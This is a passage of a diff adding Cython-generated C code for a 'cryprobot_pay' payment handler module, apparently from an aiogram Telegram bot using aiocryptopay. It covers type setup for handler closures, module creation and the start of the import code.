__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)) __PYX_ERR(0, 134, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)) __PYX_ERR(0, 157, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) < 0) __PYX_ERR(0, 157, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)) __PYX_ERR(0, 167, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) < 0) __PYX_ERR(0, 167, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)) __PYX_ERR(0, 184, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) < 0) __PYX_ERR(0, 184, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)) __PYX_ERR(0, 199, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = &__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) < 0) __PYX_ERR(0, 199, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_cryprobot_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_cryprobot_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "cryprobot_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initcryprobot_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initcryprobot_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_cryprobot_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'cryprobot_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("cryprobot_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "cryprobot_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_cryprobot_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + if (__pyx_module_is_main_handlers__payments__cryprobot_pay) { + if (PyObject_SetAttr(__pyx_m, __pyx_n_s_name, __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + } + #if PY_MAJOR_VERSION >= 3 + { + PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) + if (!PyDict_GetItemString(modules, "handlers.payments.cryprobot_pay")) { + if (unlikely((PyDict_SetItemString(modules, "handlers.payments.cryprobot_pay", __pyx_m) < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + } + } + #endif + /*--- Builtin init code ---*/ + if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Constants init code ---*/ + if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + /*--- Global type/function init code ---*/ + (void)__Pyx_modinit_global_init_code(); + (void)__Pyx_modinit_variable_export_code(); + (void)__Pyx_modinit_function_export_code(); + if (unlikely((__Pyx_modinit_type_init_code() < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + (void)__Pyx_modinit_type_import_code(); + (void)__Pyx_modinit_variable_import_code(); + (void)__Pyx_modinit_function_import_code(); + /*--- Execution code ---*/ + #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + + /* "handlers/payments/cryprobot_pay.py":1 + * from typing import Any # <<<<<<<<<<<<<< + * + * from aiocryptopay import AioCryptoPay, Networks + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_Any); + __Pyx_GIVEREF(__pyx_n_s_Any); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Any)) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_typing, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_Any); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Any, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":3 + * from typing import Any + * + * from aiocryptopay import AioCryptoPay, Networks # <<<<<<<<<<<<<< + * from aiogram import F, Router, types + * from aiogram.fsm.context import FSMContext + */ + __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_AioCryptoPay); + __Pyx_GIVEREF(__pyx_n_s_AioCryptoPay); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_AioCryptoPay)) __PYX_ERR(0, 3, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Networks); + __Pyx_GIVEREF(__pyx_n_s_Networks); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_Networks)) __PYX_ERR(0, 3, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_aiocryptopay, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_AioCryptoPay, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Networks); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_Networks, __pyx_t_3) < 0) __PYX_ERR(0, 3, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":4 + * + * from aiocryptopay import AioCryptoPay, Networks + * from aiogram import F, Router, types # <<<<<<<<<<<<<< + * from aiogram.fsm.context import FSMContext + * from aiogram.fsm.state import State, StatesGroup + */ + __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_F); + __Pyx_GIVEREF(__pyx_n_s_F); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_F)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_Router); + __Pyx_GIVEREF(__pyx_n_s_Router); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Router)) __PYX_ERR(0, 4, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_types); + __Pyx_GIVEREF(__pyx_n_s_types); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_types)) __PYX_ERR(0, 4, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_aiogram, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_2) < 0) __PYX_ERR(0, 4, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + 